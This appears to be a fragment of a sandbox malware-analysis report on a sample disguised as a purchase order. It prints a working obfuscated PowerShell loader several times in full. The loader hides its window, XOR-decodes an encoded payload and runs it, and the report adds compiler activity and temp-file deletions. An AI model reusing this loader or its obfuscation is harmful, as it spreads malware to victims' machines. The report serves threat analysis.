"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Command "Start-Process $env:SystemRoot\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \\"$j=92-52;$xdwMRWE=''NV3Latpq'';$li8WT7BZ=''e9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b49093fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa1979d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb87a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe84ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d949ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908ef088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4bd84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caebdaefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b49192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aaba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98fe3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a893f8828aada9be899ef59fe3fabbf2'';$xVRcCKBZ=''ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgtibm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKWWoIfV1PQmJ3YgFqaQZ1UXlvD3oYb0pKS3YEdV1CCXdvYhJwVw1sSmh3B3dXRAINMjhCdglIQww6Jwg3fVJ2UHp3D3odWn5leHcPb1VVSlZGOVxaRkREUH5KCGpAQEtHfitCSx1cHgB1LS93Qk5OQTMnCTUQUQxZFglrExBKGGQzK0FxQFUCBDAjQWkODgpeYm0PdFMPRkt2LFc3XlFCAzIvTj5cVVFUISxJKAQWCxUsMEgrEwEOBDwxUTcNGApNdmRJKBpLVUM8Kk8UPkhDDDMnASRQAQFPMi4Hd1AJAVAmWDJ8TFULYXVgCX1dT0J5ITkzTXIZC2N+dzVtRkhLQzMnATAdDEhFb2AOPggddnBaJEYyFAZ3cCU9TjceHgwYJ0YoXQofAg1gDmw5FAVCQ30jWzkTVV1QNWcDX3VHY0A0O0khAA8RFiktXzcCEBcLNDkBalJKQkJzZRV/R0UCBCAjQn5TRwUZOycBflIPdlF5cBJrXU9CDCsvRj1TRkMKV2YIfkBJBQk7MlQwOSsBSDs+Rj4EBgUfFglGORQBTAQzWCV2WldAVm9eXCNyU0pJWWIVfAIVdlBpagh+HAVoRW9gDnxHehR5MipGPllYVVZ0ZBR4WQ9tS3ZmA2oTAQJWbm0VahMBZQw/ZAF/GAEBSDcjQT4YAQJpaGETcFhFAgg7JFY+FA0FA2M1Uj4dLC8EOyNGXlFVCHRpbAV8R1JZV3RxEjl3cXAENmcDalddVkF3ZgVtFAxDTWlwEjkBXUNQO00HdFENZnROIxsUPiwvBDsjRjkUAQUEOw=='';$aCAWnrhG3=0x223A-0x261F;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0xAA)};$z4X30pe=$dMWc1oD74;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0x55)};$vM9zbd0=$dMWc1oD74;$dMWc1oD74oldR='''';$i=0;for($j=0;$j-lt$li8WT7BZ.Length;$j+=2){$dMWc1oD74oldR+=[char](([Convert]::ToInt32($li8WT7BZ.Substring($j,2),16))-bxor$z4X30pe[$i++%$z4X30pe.Length])};$uox2SvXt5=$dMWc1oD74oldR;$dMWc1oD74oldB=[Convert]::FromBase64String([regex]::Replace($xVRcCKBZ, ''$dMWc1oD74'', ''''));$dMWc1oD74oldR='''';$i=0;for($j=0;$j-lt$dMWc1oD74oldB.Length;$j++){$dMWc1oD74oldR+=[char]($dMWc1oD74oldB[$j]-bxor$vM9zbd0[$i++%$vM9zbd0.Length])};$j3Ztrqpsu=$dMWc1oD74oldR;$hXCVgQEI0=$uox2SvXt5+$j3Ztrqpsu;.($env:ComSpec[4,26,25]-join'''') $hXCVgQEI0"'"" (UID: 00000000-00005088) Spawned process "powershell.exe" with commandline "-Command "$j=92-52;$xdwMRWE='NV3Latpq';$li8WT7BZ='e9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b49093fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa1979d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb87a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe84ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d949ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908ef088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4bd84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caebdaefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b49192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aaba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98fe3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a893f8828aada9be899ef59fe3fabbf2';$xVRcCKBZ='ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgtibm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKWWoIfV1PQmJ3YgFqaQZ1UXlvD3oYb0pKS3YEdV1CCXdvYhJwVw1sSmh3B3dXRAINMjhCdglIQww6Jwg3fVJ2UHp3D3odWn5leHcPb1VVSlZGOVxaRkREUH5KCGpAQEtHfitCSx1cHgB1LS93Qk5OQTMnCTUQUQxZFglrExBKGGQzK0FxQFUCBDAjQWkODgpeYm0PdFMPRkt2LFc3XlFCAzIvTj5cVVFUISxJKAQWCxUsMEgrEwEOBDwxUTcNGApNdmRJKBpLVUM8Kk8UPkhDDDMnASRQAQFPMi4Hd1AJAVAmWDJ8TFULYXVgCX1dT0J5ITkzTXIZC2N+dzVtRkhLQzMnATAdDEhFb2AOPggddnBaJEYyFAZ3cCU9TjceHgwYJ0YoXQofAg1gDmw5FAVCQ30jWzkTVV1QNWcDX3VHY0A0O0khAA8RFiktXzcCEBcLNDkBalJKQkJzZRV/R0UCBCAjQn5TRwUZOycBflIPdlF5cBJrXU9CDCsvRj1TRkMKV2YIfkBJBQk7MlQwOSsBSDs+Rj4EBgUfFglGORQBTAQzWCV2WldAVm9eXCNyU0pJWWIVfAIVdlBpagh+HAVoRW9gDnxHehR5MipGPllYVVZ0ZBR4WQ9tS3ZmA2oTAQJWbm0VahMBZQw/ZAF/GAEBSDcjQT4YAQJpaGETcFhFAgg7JFY+FA0FA2M1Uj4dLC8EOyNGXlFVCHRpbAV8R1JZV3RxEjl3cXAENmcDalddVkF3ZgVtFAxDTWlwEjkBXUNQO00HdFENZnROIxsUPiwvBDsjRjkUAQUEOw==';$aCAWnrhG3=0x223A-0x261F;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0xAA)};$z4X30pe=$dMWc1oD74;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0x55)};$vM9zbd0=$dMWc1oD74;$dMWc1oD74oldR='';$i=0;for($j=0;$j-lt$li8WT7BZ.Length;$j+=2){$dMWc1oD74oldR+=[char](([Convert]::ToInt32($li8WT7BZ.Substring($j,2) 16))-bxor$z4X30pe[$i++%$z4X30pe.Length])};$uox2SvXt5=$dMWc1oD74oldR;$dMWc1oD74oldB=[Convert]::FromBase64String([regex]::Replace($xVRcCKBZ, '$dMWc1oD74', ''));$dMWc1oD74oldR='';$i=0;for($j=0;$j-lt$dMWc1oD74oldB.Length;$j++){$dMWc1oD74oldR+=[char]($dMWc1oD74oldB[$j]-bxor$vM9zbd0[$i++%$vM9zbd0.Length])};$j3Ztrqpsu=$dMWc1oD74oldR;$hXCVgQEI0=$uox2SvXt5+$j3Ztrqpsu;.($env:ComSpec[4,26,25]-join'') $hXCVgQEI0" (UID: 00000000-00000864), Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\u2nd3ci3\\u2nd3ci3.cmdline"" (UID: 00000000-00007936), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RESE34.tmp" "%TEMP%\\u2nd3ci3\\CSC78F7CF84351D4BF2AB7022741A14228.TMP"" (UID: 00000000-00008012)57:T196b,Process "powershell.exe" with Obfuscated commandline "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Command "Start-Process $env:SystemRoot\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \\"$j=92-52;$xdwMRWE=''NV3Latpq'';$li8WT7BZ=''e9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b49093fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa1979d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb87a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe84ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d949ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908ef088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4bd84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caebdaefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b49192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aaba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98fe3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a893f8828aada9be899ef59fe3fabbf2'';$xVRcCKBZ=''ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgtibm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKWWoIfV1PQmJ3YgFqaQZ1UXlvD3oYb0pKS3YEdV1CCXdvYhJwVw1sSmh3B3dXRAINMjhCdglIQww6Jwg3fVJ2UHp3D3odWn5leHcPb1VVSlZGOVxaRkREUH5KCGpAQEtHfitCSx1cHgB1LS93Qk5OQTMnCTUQUQxZFglrExBKGGQzK0FxQFUCBDAjQWkODgpeYm0PdFMPRkt2LFc3XlFCAzIvTj5cVVFUISxJKAQWCxUsMEgrEwEOBDwxUTcNGApNdmRJKBpLVUM8Kk8UPkhDDDMnASRQAQFPMi4Hd1AJAVAmWDJ8TFULYXVgCX1dT0J5ITkzTXIZC2N+dzVtRkhLQzMnATAdDEhFb2AOPggddnBaJEYyFAZ3cCU9TjceHgwYJ0YoXQofAg1gDmw5FAVCQ30jWzkTVV1QNWcDX3VHY0A0O0khAA8RFiktXzcCEBcLNDkBalJKQkJzZRV/R0UCBCAjQn5TRwUZOycBflIPdlF5cBJrXU9CDCsvRj1TRkMKV2YIfkBJBQk7MlQwOSsBSDs+Rj4EBgUfFglGORQBTAQzWCV2WldAVm9eXCNyU0pJWWIVfAIVdlBpagh+HAVoRW9gDnxHehR5MipGPllYVVZ0ZBR4WQ9tS3ZmA2oTAQJWbm0VahMBZQw/ZAF/GAEBSDcjQT4YAQJpaGETcFhFAgg7JFY+FA0FA2M1Uj4dLC8EOyNGXlFVCHRpbAV8R1JZV3RxEjl3cXAENmcDalddVkF3ZgVtFAxDTWlwEjkBXUNQO00HdFENZnROIxsUPiwvBDsjRjkUAQUEOw=='';$aCAWnrhG3=0x223A-0x261F;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0xAA)};$z4X30pe=$dMWc1oD74;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0x55)};$vM9zbd0=$dMWc1oD74;$dMWc1oD74oldR='''';$i=0;for($j=0;$j-lt$li8WT7BZ.Length;$j+=2){$dMWc1oD74oldR+=[char](([Convert]::ToInt32($li8WT7BZ.Substring($j,2),16))-bxor$z4X30pe[$i++%$z4X30pe.Length])};$uox2SvXt5=$dMWc1oD74oldR;$dMWc1oD74oldB=[Convert]::FromBase64String([regex]::Replace($xVRcCKBZ, ''$dMWc1oD74'', ''''));$dMWc1oD74oldR='''';$i=0;for($j=0;$j-lt$dMWc1oD74oldB.Length;$j++){$dMWc1oD74oldR+=[char]($dMWc1oD74oldB[$j]-bxor$vM9zbd0[$i++%$vM9zbd0.Length])};$j3Ztrqpsu=$dMWc1oD74oldR;$hXCVgQEI0=$uox2SvXt5+$j3Ztrqpsu;.($env:ComSpec[4,26,25]-join'''') $hXCVgQEI0"'"" (UID: 00000000-00004240) Process "powershell.exe" with Obfuscated commandline "-Command "$j=92-52;$xdwMRWE='NV3Latpq';$li8WT7BZ='e9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b49093fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa1979d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb87a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe84ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d949ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908ef088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4bd84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caebdaefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b49192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aaba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98fe3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a893f8828aada9be899ef59fe3fabbf2';$xVRcCKBZ='ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgtibm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKWWoIfV1PQmJ3YgFqaQZ1UXlvD3oYb0pKS3YEdV1CCXdvYhJwVw1sSmh3B3dXRAINMjhCdglIQww6Jwg3fVJ2UHp3D3odWn5leHcPb1VVSlZGOVxaRkREUH5KCGpAQEtHfitCSx1cHgB1LS93Qk5OQTMnCTUQUQxZFglrExBKGGQzK0FxQFUCBDAjQWkODgpeYm0PdFMPRkt2LFc3XlFCAzIvTj5cVVFUISxJKAQWCxUsMEgrEwEOBDwxUTcNGApNdmRJKBpLVUM8Kk8UPkhDDDMnASRQAQFPMi4Hd1AJAVAmWDJ8TFULYXVgCX1dT0J5ITkzTXIZC2N+dzVtRkhLQzMnATAdDEhFb2AOPggddnBaJEYyFAZ3cCU9TjceHgwYJ0YoXQofAg1gDmw5FAVCQ30jWzkTVV1QNWcDX3VHY0A0O0khAA8RFiktXzcCEBcLNDkBalJKQkJzZRV/R0UCBCAjQn5TRwUZOycBflIPdlF5cBJrXU9CDCsvRj1TRkMKV2YIfkBJBQk7MlQwOSsBSDs+Rj4EBgUfFglGORQBTAQzWCV2WldAVm9eXCNyU0pJWWIVfAIVdlBpagh+HAVoRW9gDnxHehR5MipGPllYVVZ0ZBR4WQ9tS3ZmA2oTAQJWbm0VahMBZQw/ZAF/GAEBSDcjQT4YAQJpaGETcFhFAgg7JFY+FA0FA2M1Uj4dLC8EOyNGXlFVCHRpbAV8R1JZV3RxEjl3cXAENmcDalddVkF3ZgVtFAxDTWlwEjkBXUNQO00HdFENZnROIxsUPiwvBDsjRjkUAQUEOw==';$aCAWnrhG3=0x223A-0x261F;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0xAA)};$z4X30pe=$dMWc1oD74;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0x55)};$vM9zbd0=$dMWc1oD74;$dMWc1oD74oldR='';$i=0;for($j=0;$j-lt$li8WT7BZ.Length;$j+=2){$dMWc1oD74oldR+=[char](([Convert]::ToInt32($li8WT7BZ.Substring($j,2) 16))-bxor$z4X30pe[$i++%$z4X30pe.Length])};$uox2SvXt5=$dMWc1oD74oldR;$dMWc1oD74oldB=[Convert]::FromBase64String([regex]::Replace($xVRcCKBZ, '$dMWc1oD74', ''));$dMWc1oD74oldR='';$i=0;for($j=0;$j-lt$dMWc1oD74oldB.Length;$j++){$dMWc1oD74oldR+=[char]($dMWc1oD74oldB[$j]-bxor$vM9zbd0[$i++%$vM9zbd0.Length])};$j3Ztrqpsu=$dMWc1oD74oldR;$hXCVgQEI0=$uox2SvXt5+$j3Ztrqpsu;.($env:ComSpec[4,26,25]-join'') $hXCVgQEI0" (UID: 00000000-00003728)58:Td13,Process "powershell.exe" with commandline "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -Command "Start-Process $env:SystemRoot\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \\"$j=92-52;$xdwMRWE=''NV3Latpq'';$li8WT7BZ=''e9f6ca92aaacaef6b790fc83bbfef788819ff688afadfae8e9f6c2a8aeaaf488818eef8fa8bb8ab48d92edabaab0bbbc818ec4dcf18dbfb8918ef092b28ea8b49093fa89a7fee7fbbfb2fc92e58dbfb8918ef092b28ea8b49093fa89a78aa3ab81a1a3dc9fb2a9ead6f193c2a9e8eee6c398c1a8bbbcb7b883a9aa8ab1ba9d8d90b3e0a4fabde8b791a6e0a49fbb8295d4a6ced6be8bb78d899edeb0a1ba9db7929ef395acbd928d8d9ede8aa1979d9597a5c1a8b1979c998ba5ced3fbbce8eaaca5c1b4a7bbe999d5a5f49ebb87a3999e98dea0fbbf8d9683adc1a8b1848dea8d9ed18dac8a9de28ca6dca0b1bde88d90a5f49efe959d91d198deb0a98689998ab7c19289bde995889eceacb8bb89998baccca0b1bde88d90a5f49efe92b1bf8898dcb0ff848d95d598de8abe84ea9d9e9fabb0bf87b7a3d1b7da8dfc979db789b7de81ac978eea9198ce9eb89582afddb5d1aca7ba928d9d9ef0a489bd9299a19eabd7a3bf8def91adaab0b2bdb78d9198dcb4bdbc8d9d949ef0d386bce89d8fb7de85bb91e9eadddb94ec8ababef6b085e983ebf38ea29499dd83adb7b4b29095f688ebf6818f8184edc88eb0b9b48095f78196e4e08eb0baa1c88cbbae88908ef088acf681988b92ef83b9aa87e1debaeb89a69cbba881caadb5bfacb3b583d4bd84fdeaf3f2cdf19380beb0b9af8d93f7c6aff6feb7cd87bd91f690bfacc9b3fb8caebdaefbaa99edc89cbbb8988895fc88bfe5f29c8188b4b4aab0beb489dcbd8aebf399b49192edc6efb2f4988b89f792e2a2ffa0908ee09db9bbaeae9692b9c2bcf09eb49392f589aaba9eba909db1c294f7a7b88588fa8eb0a3a7a6e9f6ff93a5bdaeb28b92b98fe3fabbf7c088b5c2a6f2feabd9bcb1cfe2a5fea2d9a7c98eaab0aeb489bbf892ae83e0e1a893f8828aada9be899ef59fe3fabbf2'';$xVRcCKBZ=''ICc0JBBYC2N+dzJgRERWDDJ/WWIQfgtibm8KV1VMQAQ2Zhc5EFVYHz9tWz1mD2JBb04DbVxOQQw/bkoxb3NAQndmBW1dTksKWWoIfV1PQmJ3YgFqaQZ1UXlvD3oYb0pKS3YEdV1CCXdvYhJwVw1sSmh3B3dXRAINMjhCdglIQww6Jwg3fVJ2UHp3D3odWn5leHcPb1VVSlZGOVxaRkREUH5KCGpAQEtHfitCSx1cHgB1LS93Qk5OQTMnCTUQUQxZFglrExBKGGQzK0FxQFUCBDAjQWkODgpeYm0PdFMPRkt2LFc3XlFCAzIvTj5cVVFUISxJKAQWCxUsMEgrEwEOBDwxUTcNGApNdmRJKBpLVUM8Kk8UPkhDDDMnASRQAQFPMi4Hd1AJAVAmWDJ8TFULYXVgCX1dT0J5ITkzTXIZC2N+dzVtRkhLQzMnATAdDEhFb2AOPggddnBaJEYyFAZ3cCU9TjceHgwYJ0YoXQofAg1gDmw5FAVCQ30jWzkTVV1QNWcDX3VHY0A0O0khAA8RFiktXzcCEBcLNDkBalJKQkJzZRV/R0UCBCAjQn5TRwUZOycBflIPdlF5cBJrXU9CDCsvRj1TRkMKV2YIfkBJBQk7MlQwOSsBSDs+Rj4EBgUfFglGORQBTAQzWCV2WldAVm9eXCNyU0pJWWIVfAIVdlBpagh+HAVoRW9gDnxHehR5MipGPllYVVZ0ZBR4WQ9tS3ZmA2oTAQJWbm0VahMBZQw/ZAF/GAEBSDcjQT4YAQJpaGETcFhFAgg7JFY+FA0FA2M1Uj4dLC8EOyNGXlFVCHRpbAV8R1JZV3RxEjl3cXAENmcDalddVkF3ZgVtFAxDTWlwEjkBXUNQO00HdFENZnROIxsUPiwvBDsjRjkUAQUEOw=='';$aCAWnrhG3=0x223A-0x261F;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0xAA)};$z4X30pe=$dMWc1oD74;$dMWc1oD74=@();foreach($c in [char[]]$xdwMRWE){$dMWc1oD74+=[byte]($c-bxor0x55)};$vM9zbd0=$dMWc1oD74;$dMWc1oD74oldR='''';$i=0;for($j=0;$j-lt$li8WT7BZ.Length;$j+=2){$dMWc1oD74oldR+=[char](([Convert]::ToInt32($li8WT7BZ.Substring($j,2),16))-bxor$z4X30pe[$i++%$z4X30pe.Length])};$uox2SvXt5=$dMWc1oD74oldR;$dMWc1oD74oldB=[Convert]::FromBase64String([regex]::Replace($xVRcCKBZ, ''$dMWc1oD74'', ''''));$dMWc1oD74oldR='''';$i=0;for($j=0;$j-lt$dMWc1oD74oldB.Length;$j++){$dMWc1oD74oldR+=[char]($dMWc1oD74oldB[$j]-bxor$vM9zbd0[$i++%$vM9zbd0.Length])};$j3Ztrqpsu=$dMWc1oD74oldR;$hXCVgQEI0=$uox2SvXt5+$j3Ztrqpsu;.($env:ComSpec[4,26,25]-join'''') $hXCVgQEI0"'"" (UID: 00000000-00004240)59:T458,"HJGROUPS-PURCHASEORDER#170331.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\b5b96765-2299-4e59-b710-e6f0623ce535.bat" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\zdfhsffh.kas.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\i0ot5nho.azd.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\b2wjyeih.3dr.ps1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\5oedi15r.gj1.psm1" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\rhmssxgz\rhmssxgz.err" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\rhmssxgz\rhmssxgz.out" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\rhmssxgz\rhmssxgz.tmp" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\rhmssxgz\rhmssxgz.0.cs" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\rhmssxgz\rhmssxgz.dll" for deletion "powershell.exe" marked "C:\Users\%OSUSER%\AppData\Local\Temp\rhmssxgz\rhmssxgz.cmdline" for deletion5a:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABERERERERERERERERERAAEREREREREREREREREREQABEREREREREREREREREREQAREREREREREREREREREREAEREYj3ERERERERERERERABERGBj3EREREREREREREQARERhxj3ERERERERERcREAERERhxiBEREREREREYERABERERcX9xERERERdxEREQAREREREY+HERERj4iBEREAEREREREfd4iHeIcRFxERABERERERGIERf/iId4cREQARERERERGJEY9xl3cREREAERERERERiBf3ERERERERABEREREREZiYcREREREREQAZmZmZmZmYiJEREREREREAGZmZmZmZl/mZmZERERERABmZmZmZmZeJmZmZmZkREQAZmZmZmZmf+ZmZmZmZmZEAGZmZmZmZf4eZmZmZmZmRABmZmZmZmYiYmZmZmZmZkQAZmZmZmZmImJmZmZmZmZEAGZmZmZmZiHiZmZmZmZmRABmZmZmZmZ/4mZmZmZmZkQAZmZmZmZmZmZmZmZmZmZEAGZmZmZmZmZmZmZmZmZmRABmZmZmZmZmZmZmZmZmZkQAZmZmZmZmZmZmZmZmZmZEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==5b:Tcc4,C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command 